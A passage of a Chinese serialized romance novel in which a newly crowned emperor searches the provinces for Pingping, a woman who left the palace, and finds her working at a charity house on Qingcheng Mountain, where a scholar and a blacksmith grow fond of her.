翌日，官家龙驭上宾，太子继位。 月底便诸事皆定。 柳湛猜测，萍萍不会走她曾经走过的路，不是江南、两淮，亦非西北，余下西南成、梓、夔，和广南二路并福建路。 他赌一把，先疾驰广南。 * 萍萍离宫已经快九个月了，她这一路顺风顺水，有车船乘，有客舍住，莫说雪雹，连雨都没遇过几日——游历山川景致，享美食佳肴，遇着喜欢的地，就多住几日，自在无边。 她在襄州谒隆中食牛油面，在峡州见重岩叠嶂，高猿长啸，一船乘客同舟共济，过九曲涡旋，到夔州时已结为至交。 当中有一对姐妹花是灌州人，邀她回家玩，盛情难却，萍萍随之入成都府路，住了几日，再辞别，继续独自走走停停。 最后落脚在青城山普照寺后的善堂。 这里抚孤恤寡，专门收留无家可归的娘子姑婆和稚童，萍萍留在这里风吹不着雨淋不着，一日三餐温饱，但要帮忙做事，今日是料理花房。 前天已经浇过粪了，眼下仅修修枝，玉兰高高盛放，蔷薇爬了墙，海棠垂丝，白绣球和紫绣球也蠢蠢欲绽。 萍萍刚忙完，阳光就照下来，顿时显得春光明媚。她搬把藤椅往牡丹丛中一躺，再喝一口方才沏的竹叶青，懒洋洋眯起来，心想真是“少不入川，老不出蜀”，以后可能就留在这了。 “萍萍。” “萍萍、萍萍！” 她身边一下变得叽叽喳喳，这地难得有大晴天，另外两位忙完的小娘子亦搬藤椅，往萍萍左右一趟，也晒太阳。 接着围过来两名遗孤，皆是女童，不过四、五岁，穿着交襟单袄，扎着三丫髻，眼大脸小，睫毛长过天。 萍萍有时想，这么好看的小孩子怎么会有人遗弃？ 当中有位女童，默默趴到萍萍身上，几乎面抵着面，萍萍不仅能数清女童扑闪的睫毛，亦能瞧见似剥壳鸡蛋，几无汗毛的肌肤。 她生得雪白，又似个元宵团子。 “阿娘。”这女童不知为何，总喊萍萍娘亲，萍萍笑着将她搂紧。 “我跟你说，”女童轻轻说话，气都吹着萍萍耳边，香香的，“我们去荡秋千吧。” 说着那柔软几无骨的小手牵住萍萍，萍萍感觉像咬破了糖芝麻馅的元宵，流一碗甜，心都要化。 “好、好。”她忙不迭地应声，快走到秋千旁边时，灵机一动：“唉，别忙，我装饰下。” 落上许多落花，拾起编在秋千绳上，而后推女童荡了会。萍萍很小心，秋千起伏时会提醒路人不要从前后经过，避免撞到。 女童玩了会，腿往地上一蹬，秋千渐低渐慢，最后停了。女童跳下拉萍萍坐上去：“阿娘你来，我也推你。” 萍萍扭头冲女童笑：“你哪里推得动我。” 她正打算让女童站远些，自己来荡，就听小娘子们那边囔起来：“孔雀来啦，孔雀来了！” 山里的孔雀不避人，还常讨吃食，小娘子们忙喂黄泡果，免得它们咬花。女童早被吸引，撒丫奔向孔雀，萍萍见状也走过去。 大家都跟着孔雀走，五只灰扑扑的母孔雀，刚好这边亦是五人。孔雀们渐渐围成圈绕萍萍打转，小娘子们就打趣：“萍萍，连孔雀都喜欢你！” “当然啦，我阿娘可是最好的！” “嗷呜——嗷——” 忽听数声嚎叫，众人循声望去，竟是前方石栏上立着的那只白孔雀在叫。 它身后石涧小瀑，细竹数棵，自己则长尾若雪，羽冠如扇。 “嗷——嗷——” 萍萍头回听，难以想象高洁美丽的白孔雀，叫声竟如此难听。 下一瞬，白孔雀朝她开屏。 第105章 第一百零五章 退一步，进三宝…… * 黑夜， 驿馆内。 烛火跃动。 数名面生的锦袍男子单膝跪地，朝柳湛拱手：“多谢陛下，用药后我们都好些了。” 柳湛这趟下广南， 未启用任何一位旧人， 一行人皆是生面孔。时值春末， 穿山林后不少随侍感染恶浊瘴气，不得不停下休整。 “陛下，找着了， 找着了！”一未染疾的随侍激动冲进屋内， “城里有人见过！” 柳湛此番携带了数幅栩栩如生的萍萍画像，命随侍沿路寻访， 要样貌和芳名两样皆对得上，才回报他。 这还是第一回收到好消息，柳湛禁不住翘起嘴角，心底像一只小喜鹊扑腾着飞了下，但理智犹在，温声下令：“传那证人进来，朕详细问一问。” 随侍便去请那声称见过萍萍的汤饼铺店主人， 只说家主相邀。待汤饼店主进来， 满屋子亦改口称柳湛郎君。 客套后， 柳湛同那店主人笑了一下， 举画询问：“这画上是我娘子，老人家可曾见过？” 店主人来之前已经指认过两遍，此刻眯起眼再瞅那杏眼桃腮， 笃定：“当然见过，这是萍萍！” 柳湛心猛地一跳。 “她天天来我这里吃面，街坊邻里， 不会认错的。” 柳湛不动声色深吸口气，摁下心中雀跃，追问：“她一般点什么面？可有忌口？” “什么都点啊，”店主人想了想，“就是不要葱。” 柳湛起身：“劳烦老人家速速领我去见她！” 说着下巴微扬，随侍会意，递予店主人一锭金。 “好说、好说，”店主人接过金子，“我领你们上她家去。” 柳湛颔首，跟着店主人身后，皂靴每踏地一步，心就高高跃起一下，登基那日拾级御座，也没走得这么紧张。 到了所谓萍萍家门口，店主人拍门，不一会一老翁开门，店主人问：“你女儿呢？” 柳湛听见蹙眉，萍萍几时认了父亲？ 怕不是错了。 不由促眸打量老翁，老翁正面向店主人，不紧不慢作答：“她刚出去买酥鲍了。” 柳湛皱起的眉头缓慢舒展，心又开始剧烈跳动。 “唉，那不回来了吗？”老翁指柳湛身后巷子口。 柳湛闻言几不能呼吸，想转身又不敢转，竟生了胆怯。反倒是店主人朝他身后一指：“大官人，您要找的人就在那边说话呢！” 柳湛喉头滑动了下，缓慢转身，袖下攥起两拳努力使自己镇定，却难掩微笑。 一见巷口与人说话的小娘子，虽只一个远眺时背影，柳湛就即刻敛笑。 那不是她。 小娘子转过身来，亦是杏眼酒窝，丰腴白皙，与萍萍六分相似。 “萍萍，这位官人找你。”店主人冲这位小名叫萍萍的小娘子招手，小娘子快步近前，瞧见柳湛面貌，脸上一红，正要道万福介绍，柳湛抢先一步拱手：“抱歉，我找错了人。” 说着便要走，小娘子还是第1回 见这般俊俏，恍似天神的儿郎，情不自禁追着柳湛赶了一步，柳湛旋即避开拉远：“男女有别，小娘子莫贴太近。” 说罢大步远离。 待大部分随侍身子好转，寻人的队伍就继续往南开拔。 又三日，寻见第二位与画像相似，也叫萍萍的。 打听到的那日，这位萍萍娘子正成亲。 虽然不能确定，得知此消息的柳湛还是心一慌，犹若踩空。 新郎宅邸背街面墙，没有合适窥视的据点。 柳湛身为天子，又不能在未收到邀请的情况下潜入私宅，偷鸡摸狗。 他不得不现身新郎家门口，徘徊张望。 听着墙内锣鼓喧天，唱诵拜堂，一阵烦躁。 进不去，却又怕进去了瞧见新妇真是萍萍——不，一定不是！他俩才分别不到一年，她怎么可能这么快爱上别人，同别的男子成亲？ 柳湛默默安慰自己，转念却又思及当年与萍萍初相识，还不是才见几面就山盟海誓，私定终身？ 柳湛心陡一沉，一瞬间脸上什么颜色都有，难看极了。 民间有新妇第二日回门的习俗，柳湛掐准了守在巷子口的马车里，车帘微挑一缝。 新妇从门后出来，由她官人搀扶上车，柳湛眼力极佳，一见既笑，手上松开帘子，心里亦松口气：还好，不是她。 下一瞬嘴角僵住，愁云重新拢聚在眉眼间——都不是她，不知何年何月才能找到萍萍！ 见那对夫妻的马车遥遥驶向这边，柳湛吩咐车夫：“走吧，别挡在巷口了。” 他朝车门处眺了一眼，才发现之前被自己攥 住的帘布一角留下一道手汗。 柳湛在广南东路找见的第三位萍萍是在崖山镇，上门拜访却惊悉这位小娘子想不开，跑上汤瓶山跳海了。 柳湛急忙带人赶至，前方悬崖峭壁，出海口的潮涨得一浪比一浪高。 小娘子已经跃下，只余数名路人崖上哭泣呼唤。 “下去救人！”柳湛厉喝，须臾，担心这回真是萍萍，自己也纵身跃下，海中打捞。碧浪起伏冲刷，很快时隐时现一个脑袋，纵使海水打湿了柳湛眼睛，但他仍能辨出那不是萍萍。 柳湛吸口气，还是游过去救人，揽住妇人，连驮带拽送回岸边。 早有随侍等候，从柳湛手上接过这位又找错了的萍娘子。柳湛呼一口气，吩咐：“她胳膊撞到礁石，及时处理一下。”他自己则走到远处坐下。 有随侍眼尖，发现官家手背亦在渗血，急欲上前包扎。柳湛摆手，夺过内侍手上的疮药和布条，单手一圈圈绕，连带腕骨一并包进去。 “郎君换身衣裳吧。”随侍又建议，柳湛衣发湿透，紧紧贴在身上。 “不必，你们去忙吧。”柳湛背对着悬崖，面朝大海，狂风如刀刮面，雪浪滔天。 他突然害怕，自己之前对萍萍那样恶劣，她会不会想不开，已经似这娘子般一跃而下，葬身鱼腹？ 柳湛突然遍体生寒，满身鸡皮疙瘩，懊悔又似无边巨浪拍天袭来，一波又一波，不竭不歇。 不会的，他的萍萍是很坚韧的，她不是浮萍是宝剑，柳湛攥拳，稳定心神。 他心悸盯着大海，又见如此恶劣风浪，海上竟还有两艘渔船。 柳湛原本攥的拳骤一缩，指甲掐进肉里——万一萍萍出海了怎么办？ 之前只想普天之下莫非王土，天长地久，总有一日能寻着。 但王土之外呢？ 柳湛忽然生出一股无力感。 察觉到有人快步近身，柳湛扭头，一随侍躬身禀报：“郎君，急脚递求见。” 柳湛颔首应允，蹙眉瞥见崖右侧斜坡上下来的不仅只急脚递，还有一位礼部侍郎。 “微臣参见陛下。”那侍郎近前就拜，“陛下，您说好了上月初九之前回宫，这又拖了十九日，祭地迫在眉睫，一切还得由陛下主持大局啊！” 本朝有每年夏至，官家主持祭地，祈求丰年的习俗，已经延续百年，根深蒂固，甚至有官家一旦缺席，就会引起民间“失却风调雨顺”的恐慌先例。 不能缺席。 可是萍萍还没找着。 “起来吧。”柳湛朝那位礼部侍郎虚抬了下手，身上的无力感更甚。 本以为一朝为天子，便挣脱罗网，再没有人能左右他，没想到又入了另一个樊笼。 柳湛在海边立了会，转身脚步沉重往回走，只得返京——待祭地完毕，再接上去往福建路寻。 走了两步脚下一顿，觉出不对，自己做太子时经常代替官家祭祀，怎么当了官家，还是要亲力亲为？怎么他就没个太子……柳湛想到这冷不丁忆起避子汤，忽地喉涌咸腥，又想呕血。 大庭广众，紧抿双唇生生抑住，于是那一口心头血迅速蔓浸齿间。 * 青城山，善堂。 今日萍萍没去花房，在屋内。 善堂到了要清账的日子，可听她们说，往年那位帮忙理账的书生参加县试去了，找不着人，就把这个任务交给萍萍。 萍萍望着桌上摞起的账本，咧嘴：“我还没理过这么大笔账……” 她最多就能理个汤饼店的。 众娘子在她身边围了一圈：“但你会写字呀！” 萍萍来的这一个月，经常帮忙抄经写告示，说话还时不时文绉绉来两句，众女一致认定她是女秀才，理账的不二人选。 萍萍不忙答应，道：“我先翻翻。” 她粗略翻过三、四本账本，估摸自己能拿下，才应允道：“好，那我这几日就理一理，十五之前交出来。” 期限亦估算过，不是信口开河。 萍萍就开始理账，知道做这种事要仔细谨慎，她不赶工，一旦头晕眼花就去歇息——大伙信任她，托付她，她就一定要算准了，宁可慢，不可错，绝不做挑灯夜战的事。 用三日理好一大半，还剩最后两本。 本来萍萍打算全部理完再抱出来的，可那日阴雨连绵，大伙都拘在堂里无事可做，堂主就说瞧瞧女秀才理得怎样了？ 萍萍便进去取两本整理好的，走出来时听见堂内闹哄哄，有一清脆男声一直在说“我来迟了。” 只闻其声就能听出满满内疚，萍萍不由朝声音来处，善堂门口望了一眼，一着白襕衫，带儒巾，眉清目秀的书生正收伞，将沾的半身水珠和鞋底湿水都抹干了，才敢进门。 门里的小娘子们笑他：“你是迟了，账都快理完了！” “要等你来理啊，黄花菜都凉了！” 书生分唇错愕，眼里闪过一丝失落：“你们另聘了账房吗？” 小娘子和婆子们哄堂大笑：“是呀，我们另聘了一位账房娘子。”大家说着过来牵萍萍，将她拉至书生面前。 书生呆住。 第106章 第一百零六章 不如在爱人肩头痛哭一晚…… 萍萍冲书生施了一礼， 笑着解释：“我不是账房娘子，是善堂里帮工的，刚来一个月。” 书生倏然回神， 躬身回礼：“鄙人青城县张安， 见过娘子。” 众女便在旁边念叨起张安， 萍萍才晓得他是县里的童生，之前四年一直义务帮善堂做账。 婆子们多嘴问了两句：“张安，你这回县试考得怎么样啊？” 张安垂眸不说话， 婆子和娘子们就围着他安慰：“没事没事， 下回再来！” “不是有个词怎么说来着……大器晚成！” “对、对，大器晚成！我们都支持你！” 又有二位娘子推搡萍萍， 叫她也安慰两句，掉个书袋，把萍萍说不好意思了，红着一张脸道：“试玉要烧三日满，辨材须待七年期。” “好、好、好！”众人不一定都听懂，但捧场一定要大声，萍萍尴尬低头， 瞅着地面——这帮人， 尽瞎吹嘘。 少顷， 她暗道不好， 方才讲的时候没有深思，张官人会不会想多，误会她咒他县试要考七年？ 萍萍过了许久才重抬首， 话头早揭过，旁人都聊别的去了，她便没向张安解释， 免得越描越黑。萍萍朝堂主走去，堂主方才说要看账本。 张安在堂主身边，听萍萍说完，嘀咕了一句，太小声，重复第二遍萍萍才听清：“我能瞧瞧账吗？” 堂主也说：“对啊，可以给张安看看，他懂！” “行！”萍萍一口答应，主动递去账本，张安接过面上一红，接着正色认真翻阅。 良久，将账本还给萍萍：“这两本账都做得没错，你全部整理完了吗？” 萍萍听见肯定，心里踏实：“没有，还剩两本没做。” “那让张安帮你一起理吧！搭把手！”堂主旁边的小娘子听见就插嘴，她比萍萍矮些，脑袋顺势搭上萍萍肩膀。 堂主也说：“就是，你俩一起，应该今天就能全理完吧？” “不能让张安白跑一趟。” 萍萍心底叹口气，这里的人还真是想什么就直说什么，但本心不坏。 她看向张安：“那劳烦小官人把关了。” “别、别、千万别这样称呼！”张安缩肩，仿佛受大惊吓，“你叫我张安就行。” 正堂人多，萍萍提议找个次间安静些，免得做账时出错。张安低头应下，萍萍便挑了个有两张桌的次间，一人坐一张桌，各做一本账。 檐下滴水成线，淅沥的雨声反添静谧，空气中都是青草的味道。 萍萍先做完自己那本，偷瞟张安，他还在垂头提笔，萍萍合唇没说话——怕一说做完，张安自觉催促，急了慌了赶，账容易错。 她看向窗外，被雨洗过的叶子都特别油亮。 “我做完了。”张安的声音响起。 萍萍回神：“啊，那你等等我，”她撒了个 谎，“我还剩几条，刚分神了。” 萍萍假装写了十几个字，而后执册朝张安走去：“好了，我们来对下吧。” 张安仰头注视着她，片刻，轻问：“其实娘子早做完了吧？”他顿了顿，“只是不想鄙人难堪。” 张安垂首：“娘子其实不用这样的，鄙人心里清楚自己愚笨，”他扯起一抹苦笑，“不然不会一个县试，三年都考不中。” 萍萍已走到他桌边，挺胸直脖，语气铿锵：“百里奚七十为相，甘罗十二岁拜上卿，那百里奚就比甘罗愚笨吗？” 张安听完抬头瞟她一眼，脸上愧色更重：“娘子不仅账做得比我好，学问也比我厉害。”他想也不能一直娘子、娘子的称呼，便问：“说了这么久，还不知娘子名姓，没个称呼。” “我叫萍萍。” “姓呢？” “没有。” 张安面上禁不住浮现讶异，但很快藏起来，站起拱手：“见过萍娘子，鄙人张安。” 萍萍微笑：“你之前说过了。” “堂主人在么？”外面有人囔囔似吼，男声雄浑。萍萍和张安一齐眺向窗外，雨帘后立着一足有九尺高的壮硕身影，戴斗笠，着蓑衣，看不清面目。 “他们应该在正堂那边，”萍萍说着朝窗前走，见来人的芒鞋踩在泥地里，旁边是光滑的石子路和层层青苔，“您是……？” 来人大步跨到檐下，似乎打算之后都沿檐下走，不再淋雨，他摘了蓑衣，露出里面背的一只铁箱和一身短打，两臂双腿都露着，黝黑遒劲，虎背熊腰，整个人板板正正又鼓囊囊。 萍萍不是有意看到的，不禁别过脸去。 来人自报家门：“我山底下打铁的，堂主不是说好了今日装新门环门插吗？刚去过正堂了，他不在！” “这样？那我带你去找吧。”萍萍说着嘱咐张安几句，领铁匠匆匆去寻。 * 峡江。 云雾缭绕，峰峦叠嶂。 三名梢公齐齐冲着船舱里喊：“大官人，前面要到鬼门关，容易遇着湍流，您们要坐稳了。” 柳湛颔首，依旧分腿坐定，其他内侍亦如此，船舱寂静。 “真的要抓牢！”梢公再次强调，话音刚落，江浪就似龙跃起，朝前直拱，三梢公两站一立，聚精会神快速划桨，不敢有半分松懈，船头随浪栽进江中，满船人衣衫皆湿。 船再扬起，随激烈翻卷的江水天旋地转。 内侍们个个抓牢，当中一位紧着嗓子问：“前方翻船了？” 柳湛循声促眸，前方小舟应该是撞上暗礁倾覆了，梢公已经不见，只一少年，明明已游出旋涡，却调头朝着旋涡一个劲地划水。那涡旋里冒出少女的半个身子，转眼只剩脑袋，双臂挣扎，少年破浪近前，抓住少女的手，她旋即回握。 柳湛似心上划过一刀，锐痛无比：“救人！” 八名内侍旋即跃下，齐心协力救少年和少女到他们船上。 二人噗通跪下，一个劲磕头：“多谢恩公救命之恩！” “多谢恩公！” 众人询问了一阵，原来这是对新婚夫妇，成亲方才半年，少年陪自家娘子回夔州娘家。 柳湛顾忌男女有别，同诸随侍出来船头船尾，将船舱留给一对小夫妻。 他正弓起一只腿望两岸悬崖峭壁，青山面前走，忽听一梢公啧啧：“年轻人，这黏糊劲。” 柳湛随之扭头，见舱内少女依偎在少年肩头、 因之前夫妻俩提过成亲是盲婚哑嫁，婚前没见过面，亦是第1回 回娘家，另一梢公不禁感叹：“才半年就蜜里调油。” “你这话说得？人家是这半年里都蜜里调油！” 柳湛心道何止蜜里调油，注视那对小鸳鸯，翘起唇角，再分唇。 忍不住想同梢公们分享，说我和我娘子也……话却在喉咙里卡住。 没有出口。 脸上的笑亦似峡江云雾，一刻消散。 前方波平，回清倒影。 “前面山上那块石头唤作什么？还挺秀气的。”有随侍发问。 梢公每遇奇石异峰皆会讲故事，前面兵书宝剑峡、牛肝马肺峡皆如是。这前头凸出的娟妙一峰，梢公一望便笑：“那是咱们巫峡最有名的神女峰，是精卫姊妹瑶姬的化身。你瞧她每一天每一个时辰都不一样，这会花红叶绿，起雾时就袅袅云雾，就像美人面罩白纱。” “是不是和那个怀王巫山云雨的？”有内侍追问，人们总在意最香艳的事情。 “是啊，怀王当年驾临巫山的高唐行宫，昼寝时瑶姬入梦，与之有了一段情。一梦醒，怀王思念瑶姬，却再难寻芳迹。” 柳湛听着梢公的故事，船已经划过去，他仍扭脖回首，风萧萧，好似神女的衣裙也漫飞，他心沉沉，如神女头顶乌云，凝聚不散，竟情不自禁呢喃：“旦为朝云，暮为行雨。” …… 船到夔州上岸，柳湛一行人就近找了间汤饼铺用膳，这夔州的面和别处又不同，颇多豌杂。 吃时亦不忘寻人，内侍拿出萍萍的画像给店主人看：“老丈，您可曾见过画中娘子？” 店主人眯眼瞅了半天：“回官人，老汉不曾见过。” “我见过呀！”店里跑堂的应该是店主人女儿，一身厨娘打扮。她刚收拾空碗回来，瞅见画像，放下碗，两手在身上擦了擦，拿过画像细瞧：“这是萍萍呀！” 柳湛回身，望向灶台。 厨娘道：“爹爹，她是上回和我一起从峡州回来的萍萍！” 内侍望向柳湛，得了眼神指示，让厨娘细说。她便将如何同萍萍险过峡江，结义金兰的事说了。 滔滔一番尚未讲完，身后忽有人颤声打断：“那你可知她去了哪里？” 厨娘回身，见是那坐中央吃面的郎君——那是她前半生见过样貌最俊，最器宇不凡的郎君，他走进汤饼铺那一霎，整个铺子都发亮了。 厨娘面上一红，忍不住想和柳湛多说会话：“晓得呀，她去灌州了……” 柳湛心仍颤动，方才听了厨娘描述，这回应该对了，遇险峡江，英勇又临危不惧，是他的萍萍。 柳湛一碗面囫囵下肚，就率队西行。 到了官驿，本打算只换马不做停留，馆吏却攥着一封信找过来。 柳湛原以为又是东京催他回去，馆吏却道：“陛下，扬州来信。” 扬州？ 柳湛停步，接过信徐徐展开，却原来某人被送出京后，去了扬州。 最想寻的人不见芳踪，竟先找着这个，柳湛心里千回百转，最终轻道：“也好。” * 青城山，善堂。 萍萍自从和张安一起理账后，就总能隔半月一月见他一次。 她不曾下山，皆是张安主动上山来。 今日的理由是帮忙抄经，照张安的话说，善堂里只有萍萍会写字，但《般若波罗蜜多心经》要抄足一百份，她一个人，太累了。 萍萍听完沉默片刻，笑着道了声谢。 之后默默抄经，工整小楷，黑字一笔一划写在白纸上。 反倒是张安话多，一会问萍萍平时在善堂都做什么，一会又问善堂伙食住宿怎样？可曾紧着她了？ 萍萍眨了下眼，其实张安问的这些问题，他自己肉眼就能瞧见答案。 “伙食好着呢。”萍萍简答。 “往后啊只会更好。”张安笑道，“今年官府免了许多税，县里面还给每家每户都发了二斗米，估计善堂不久也能轮到。” 萍萍听见欢喜，希望这是真的，但她没接张安的话。 张安侃侃再道：“这都是当今官家体恤百姓，年纪轻轻就有了圣帝明王之兆！” 萍萍闻言停笔，看向张安，见他一脸敬仰崇拜。 “年纪轻轻？”她还是忍不住问。 “是呀，官家才方登基两年，”张安对视萍萍，恍然大悟善堂是山中不知人间事，“乾平的年号都已经改了两年了，你不会不知道吧？” 萍萍扯了扯嘴角：“我还真不知道。” 她低头，才发现方才停笔时手不知不觉下垂，墨 毫点在纸上，污了一大片。 这份经要重抄了。 萍萍遂换纸，将这张抄废的丢入火盆中，往事随纸，付之一炬。 第107章 第一百零七章 两年多不见，她成亲了？…… * 灌州。 柳湛一行人踏着青石板， 路过一座二郎显圣真君庙，红墙琉璃瓦，修得高大恢弘， 竟不输大相国寺。 一随侍忍不住道：“我听人说， 这灌州就是灌江口， 是二郎真君的道场。” 另一随侍旋即反驳：“灌江口不是在淮南东路的灌南县么？几时从江南跑来蜀中？” 此话一出，随侍们瞬分两派，皆坚持己见， 两千里遥隔的两道场皆有拥趸， 嘀嘀咕咕，私语不断。 柳湛不想听也听了半晌， 许是这两年寻人不断受挫，磨了脾气，竟未斥责发怒，只吸口气，轻道：“好了。” 随侍们噤声。 柳湛面沉如水，他们依照那厨娘所说，从夔州一路寻来灌州， 找着了那对姊妹花。萍萍的确借宿过， 可小半年前， 她就辞别再次动身， 只说先去瞻仰李太守的古堰，之后去哪，想到了再定。 二位小娘子也不知道萍萍又去何方。 柳湛皂靴踏地， 心也随之一沉，不会一步迟，步步迟吧？ 虽然萍萍是数月前去的古堰， 人早不再那里，柳湛依然追去，走访一遍——他也说不清，反正不去就不甘心。 一路去，沿路寻，不仅随侍们拿着画像寻访，柳湛也会亲问。到了古堰，见水流湍急，前人用竹笼还有本地称呼的“碗儿兜”仿出鱼嘴，决江遏水，灌数郡田，川中游鱼如梭，货船往来不绝。 民生昌盛，柳湛仍旧欣慰，却不复往昔的心潮澎湃，他的袍角被江风吹得高高扬起，随侍关切：“郎君，此处风大，容易吹凉，要不暂避一下？” 柳湛不语，亦不挪身，随侍又捧来披风，柳湛摆手拒绝，此处风还好，不及心里的风大，吹得彻骨寒。 古堰周遭定然是寻不到人的，柳湛一行人往回折返，他垂耷着眼皮，琢磨萍萍接下来会去哪？ 猜错过太多次，失却笃定。 车马喧喧，柳湛侧身让了一让，身后一排随侍也跟着齐刷刷侧身贴街面，因为动作太过整齐，许多行人投来目光。 柳湛吸气垂眸。 随侍们亦觉出尴尬，转半个身面朝店铺，展开画像挨个问，假装寻人。 灌州有十一月梅市卖梅，八月桂市卖桂，二月花市卖百花之说，眼下三个月份皆不沾，花行生意平淡，卖花郎正闲，一听说寻人，都围上来。 “这不萍娘子吗？” “这是善堂的萍娘子啊！” 虽然已经失望过很多回，柳湛依旧眸子一亮，不由自主攥紧画卷。 他尽量镇定语气，沉声：“善堂？哪里的善堂？” “青城山善堂，二月份我去堂里相看牡丹，花房正是萍娘子在照料。”卖花郎回忆，犹记得那天不光牡丹，还有蔷薇、玉兰和绣球，足有百朵，花灼灼人也灼灼。 柳湛近前一步，追问详细。 问清楚，即刻就往青城山方向调头，用一日追访到青城县，然而问遍了山脚农户，又却都不认识萍萍，没见过画中人。 随侍不禁生疑：“郎君，会不会又弄错了？” 柳湛摇头：“我看未必错。眼下见过她的人，仅有三种身份，花郎、货郎、香客，这三类人都上过山。也许……”他合唇沉默片刻，才续道，“她上山之后，再也没下过山。” 所以他天涯海角，遍寻不见。 柳湛心揪了下，缓缓收起画轴。 随后登山。 翠峰悠悠，云雾茫茫，山中远比山外清凉，寒意浓烈，地上的湿苔沾染柳湛袍角，随侍瞟见，提醒：“郎君。” 柳湛自知，摇首示意不打紧，继续拾级。前方倏起响动，随侍纷纷按剑，而后一只受惊的野鹤从众人面前掠过飞高。 随侍缓缓松手，眺望到野鹤前方还有一白一靛两个小点，又报知柳湛：“郎君，前方有人。” 柳湛也早望见，而且眼力佳——左侧男子穿的白襕衫，手上身上没有捎带，应该是位来上香，尚未考取功名的书生。 他来求什么？功名？ 右侧女子却是农妇打扮，一身靛青葛麻，包着盖头，还背了捆柴火，十有八。九是山中人，很可能……和萍萍同住善堂。 一到萍萍他就沉不住气，脱口而出：“右手边那小娘子估摸是善堂的人。” “那要不要去问一问？”随侍握紧画卷，“好确定善堂里真是萍娘子。” 柳湛拒绝：“不必问了。” 不管前面二人识不识得萍萍，他都必定要去一趟善堂。 柳湛耳力不输眼力，不曾刻意听，香客的闲谈依旧传入耳中。 “张安，你这越跑越勤了，是不是好事将近啊？” “骆娘子，你就别打趣鄙人了，八字尚未有一撇。” 柳湛听着，心道：这书生来求的竟不是功名，而是姻缘？ “张安，那一撇一捺写完以后，你是不是就会求亲啊？” “还早。”那书生沉默了会，才续道，“我现在还配不上她，等我考中乡试，再提亲。” “还乡试？你现在县试都没考中，熬到何年何月去了！啊啊，我不是嘲笑你！我这人嘴贱，说话还不过脑子，你别见怪！” “我知道，你没恶意。”书生笑了声，“考不中就继续考呗，她也说了，百里奚七十当丞相都没放心。” …… 柳湛听得清楚，心道这书生相中的倒是位贤妻，知书达理，但考不中就让人家等，猴年马月，不怕那小娘子跑了？ 还不如先成家后立业，免得情成追忆，只余惘然。 柳湛想到这脚下不自觉加快，想早些见到山上那位萍萍。 …… 与此同时，善堂内花房，萍萍正琢磨怎么给一棵蛀了的玉兰驱虫。 善堂里有小娘子建议用马粪水杀虫，可山上无马，再则，那气味，自己恐怕也被一并臭死了。 以前花船上日日摆花，都是用鳖甲引出虫再除掉，可鳖甲贵得很，善堂用不起。萍萍就想，能不能用点什么水啊油的，烧出虫子，正掂量，有人喊她：“萍娘子！” 萍萍回头，远远就瞧见一虎背熊腰的男子从山下往上走，只露脑袋——正是上回来装门环的铁匠。 一回生二回熟，这是铁匠第4回 上山，萍萍已经晓得他叫赵冬笋，在青城县开铁匠铺，时常帮忙修堂中铁器。 不知他这回来修换的，是菜刀锅铲还是犁耙？ “赵兄，”萍萍笑着站起，“您这回来修什么？” 赵冬笋往上走，已变成露半个身子，萍萍瞧见他怀中包被裹的婴孩，愣了下。 赵冬笋笑问：“养花呢？” 抬腿迈过最后一级台阶，再行平地，到萍萍面前。 萍萍回头瞥玉兰：“这玉兰蛀了，我在想怎么驱虫。” “改天我给你捎桶马粪上来。”赵冬笋刚说完，捕捉到萍萍面上难色，就改口，“你不怕麻烦的话……其实可以用麻布裹着筷子头，一只只捋出来。” 萍萍回看赵冬笋，赵冬笋点头，无声告知绝对可行。 萍萍默默记下，转问赵冬笋怀中婴孩：“这是……？” “我昨日捡的。”赵冬笋叹口气，“是个妹儿，看她在路边哇哇大哭，实在不忍心。”赵冬笋朝萍萍抬了下下巴，“我一个鳏夫不方便养，抱到你们善堂来。” 善堂经常收养女童，萍萍立马心软，侧身凑近赵冬笋：“我瞧瞧。” 女娃娃小脸黑红，萍萍怕她饿，正想进去给弄点小米稀粥，赵冬笋往她身边再贴一步，也瞅女娃娃的脸：“我来之前给喂过米汤，一般多长时间再喂？” “她哭过没有？” “乖得很，一路不曾哭，就这样睁着眼睛看你。” “那应该没饿。”萍萍近半年抱过许多婴孩，娴熟轻摇，真如赵铁匠所说，女婴眼睛大且清澈，萍萍对视了会，心底柔软：“睫毛长得哟——” 女婴渐渐动眼皮，要垂耷。 “阿娘！”之前总唤萍萍娘亲的女童出来，萍萍立马指放唇上：“嘘，你妹妹睡了——” “萍娘子！” “萍萍！” 张安和另一位堂中的娘子也上山，萍萍旋即转身对着上山方向：“嘘，你俩也别说话。” 她是假装生气，眉头虽皱，但嘴角仍翘着。 因为没有再转身，萍萍对视的始终是上山方向，她斥完先低头笑了下，瞅几眼怀中女婴，才抬首，故人就这样猝不及防闯进视线里，朗目疏眉，仪态万千，一身白袍，头上簪的依旧是她送的那支星簪。 萍萍笑容先僵后敛，分唇张目，明显错愕了下，而后一股既熟悉又陌生的感觉涌上心头。 柳湛其实在下首远处就已眺见萍萍，旁人望仅是一个小点，他却 瞧得清晰——是他的萍萍！ 她今日着了件月白衫子，围一圈鸦青百褶合围，最平常的农妇打扮，且仅一个背影，他就觉得她分外好看，天地太阳和花房都只是她的陪衬。 又见萍萍青丝仅用一根檀色头巾缠束，柳湛下意识想抬手，抚摸心口揣的那支月钗。 他眼倏温热，快步上山，几乎跑起来，却在两步后急搀： 那自己眼下又是什么样子？ 柳湛停在原地，低头慌张看袍，看靴，看佩玉看腰带，竟懊悔交杂卑微——应该来之前沐浴更衣，好好打扮的。 又担心奔波使肤发黑，面生尘，容颜不是最光华，不想在萍萍面前展露一丝一毫的倦怠和老态。 接着，抬头，眺见转过身来的萍萍怀里抱着一位女婴。 柳湛愕然。 “阿娘！” 他听见这声叫唤，压根没去瞧声音来处，就心急糊涂起来：两年多没见，她连孩子都有了？ 她嫁人了吗？ 柳湛自脚底生起两股寒意，一路缠上，起先仅是两只胳膊发抖，继而整个身子都微微颤动。 他深深吐纳了两回，稳定心神——以那襁褓女婴的年纪，还不会说话。他眼珠微移，望向朝萍萍走近的女童，唤娘的孩子起码四岁了，不是她的。 柳湛回看萍萍，正欲扬起嘴角，重展笑意，却发现那黑黝黝的男子几乎快贴到萍萍身上去了。不对，他那么壮，像要把她吞下去。 柳湛紧拧眉头。 男子身着短打，柳湛瞧见了些，不由垂眼瞥自己下身，接着又挑眼对比黑壮男子。 接着就见那一直在他们前面走的两人过去和萍萍打招呼。 萍娘子？ 柳湛瞅见张安明明已经打过招呼，站在一侧，不是正对萍萍，却斜着一双眼偷偷凝视她，还咬了下唇。 柳湛恍然大悟：好哇，好哇！ 顿觉呼吸不畅，胸脯起伏，疾步朝萍萍赶去。 